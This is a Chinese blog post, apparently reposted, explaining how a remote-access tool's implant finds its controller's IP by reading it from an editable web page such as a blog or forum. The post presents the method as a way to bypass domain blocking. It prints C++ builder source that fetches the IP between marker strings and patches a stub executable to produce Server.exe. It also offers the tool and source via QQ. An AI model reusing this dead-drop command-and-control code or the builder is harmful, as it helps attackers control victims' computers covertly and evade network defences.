通过网页去实现远程控制软件的上线!博客,贴吧,云盘等等网页方式实现上线原理解析,绕过域名拦截

来源:互联网 发布:vb和微信公众号对接 编辑:程序博客网 时间:2024/06/05 23:49

原理:

先说说传统远控软件的上线原理:

        由于远控上线的时候需要获知主控端的ip进行socket链接。那么主控端的ip有可能不是固定ip,所以大家普通的实现方式就是通过域名去实现链接主控端ip  用域名去解析主控端ip,主控端每次使用时,将域名映射到本机的ip,如此实现了连接上线。

小白虎远程控制软件上线原理:

        通过将ip信息写入一个网页中,最好是一个可以修改的网页如博客。在被控端需要主控端ip时,从这个网页去读取主控端的ip,那么每次当主控端换了主机去登陆那么只需要在此网页中把以前的ip改为现在所在主机的ip即可!


具体实现源码:

int memfind(const char *mem, const char *str, int sizem, int sizes)   {   int   da,i,j;   if (sizes == 0) da = strlen(str);   else da = sizes;   for (i = 0; i < sizem; i++)   {   for (j = 0; j < da; j ++)   if (mem[i+j] != str[j])break;   if (j == da) return i;   }   return -1;   }CString CSettingDlg::getIPFromUrl(){CInternetSession session("HttpClient"); char * url =  (LPSTR)(LPCSTR)m_ConnectUrl; CHttpFile* pfile = (CHttpFile *)session.OpenURL(url); CString content; DWORD dwStatusCode; pfile -> QueryInfoStatusCode(dwStatusCode); if(dwStatusCode == HTTP_STATUS_OK) { CString data; while (pfile -> ReadString(data)) { content += data + "\r\n"; } } pfile -> Close(); delete pfile; session.Close(); int begin = content.Find("ipbegin");int end = content.Find("ipend");begin += 7;return content.Mid(begin, end - begin);}// CSettingDlg 消息处理程序void CSettingDlg::OnBnClickedGenerateserver(){// TODO: 在此添加控件通知处理程序代码char name[1000]; GetModuleFileName(NULL, name, 1000);CString srcPath = name;int pos  =  srcPath.ReverseFind('\\');srcPath = srcPath.Left(pos);CString desPath = srcPath;srcPath = srcPath + "\\MzServer.exe";desPath = desPath + "\\Server.exe";if (GetFileAttributes(srcPath)==-1){MessageBox("配置文件MzServer.exe不存在","呵呵哒",MB_OK|MB_ICONSTOP);return;}UpdateData(true);if(connectIp =="" && m_ConnectUrl == ""){MessageBox("ip或url为空!","呵呵哒!",MB_OK|MB_ICONSTOP);return;}//DeleteFile(filePath);CopyFile(srcPath, desPath, FALSE);memset(ConnectInfo::getConnectInfo()->ipAddress, 0, sizeof(ConnectInfo::getConnectInfo()->ipAddress));strcpy(ConnectInfo::getConnectInfo()->ipAddress, connectIp);ConnectInfo::getConnectInfo()->port = 8000;DWORD wr=0;HANDLE hFile=CreateFile(desPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);DWORD len=GetFileSize(hFile,NULL);char *str=new char [len];ZeroMemory(str,sizeof(str));ReadFile(hFile,str,len+1,&wr,NULL);CloseHandle(hFile);CString string = str;DWORD dwOffset = memfind(str,"127.000.000.001",len, 0);//long dwOffset = string.Find("127.0.0.1",0);if (dwOffset == -1){AfxMessageBox("文件不合法");return;}    DWORD dwOffset2 = memfind(str,"woshiyigemeilideurl",len, 0);if (dwOffset2 == -1){AfxMessageBox("文件不合法");return;}if(m_ConnectUrl != ""){CString ip = getIPFromUrl();if(::MessageBox(NULL,ip, "请确认您的url中的ip是否为以下ip", MB_YESNO) == IDNO)   return;}if(m_ConnectUrl == "" || m_ConnectUrl.GetLength() < 5){ m_ConnectUrl = defaultUrl;}CFile file;if(file.Open (desPath, CFile::modeCreate | CFile::modeWrite)){try{file.Write(str, len);file.Seek(dwOffset, CFile::begin);ConnectInfo *p = ConnectInfo::getConnectInfo();file.Write(ConnectInfo::getConnectInfo(), sizeof(ConnectInfo));file.Seek(dwOffset2, CFile::begin);     file.Seek(dwOffset2, CFile::begin); char remoteUrl[395]; memset(remoteUrl, 0, sizeof(remoteUrl)); strcpy(remoteUrl, (LPSTR)(LPCSTR)m_ConnectUrl); int len = m_ConnectUrl.GetLength();file.Write(remoteUrl, 395);file.Close();}catch(...){MessageBox("文件保存失败,请检查","提示",MB_OK|MB_ICONSTOP);//DeleteFile(filePath);return;}}MessageBox("服务端文件生成成功,已保存为Server.exe","提示",MB_ICONWARNING);}


上面为本远控生成服务端的代码

主要函数在于:

getIPFromUrl()

此函数中的变量m_ConnectUrl保存了包含主控端ip的网页的地址! 从此网页中解析    本人默认ip的保存格式为:ipbegin127.0.0.1ipend    把127.0.0.1换成真正的被控端ip即可

该函数返回解析出的ip地址!    

这个函数是真正起到作用的


本软件生成服务端效果图:



获得软件以及源码   请加qq354249785

0 0